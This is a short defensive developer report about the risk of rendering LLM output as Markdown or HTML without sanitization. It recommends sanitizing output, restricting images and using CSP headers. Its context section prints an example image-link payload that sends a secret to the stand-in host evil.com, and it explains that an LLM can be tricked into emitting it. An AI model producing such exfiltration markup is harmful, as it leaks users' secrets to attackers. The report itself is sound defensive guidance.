Report #90041
[gotcha] Rendering LLM output as Markdown/HTML without sanitization
Sanitize LLM output before rendering; disable image tags or restrict domains; use Content Security Policy headers to prevent outbound requests to untrusted domains.
Journey Context:
LLMs can be tricked into outputting Markdown like \`\!\[data\]\(https://evil.com/?stolen=secret\)\`. If the frontend renders this, the browser sends a GET request to evil.com with the secret. Developers think 'it's just text', but the rendering context executes the exfiltration.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T09:43:40.596725+00:00— report_created — created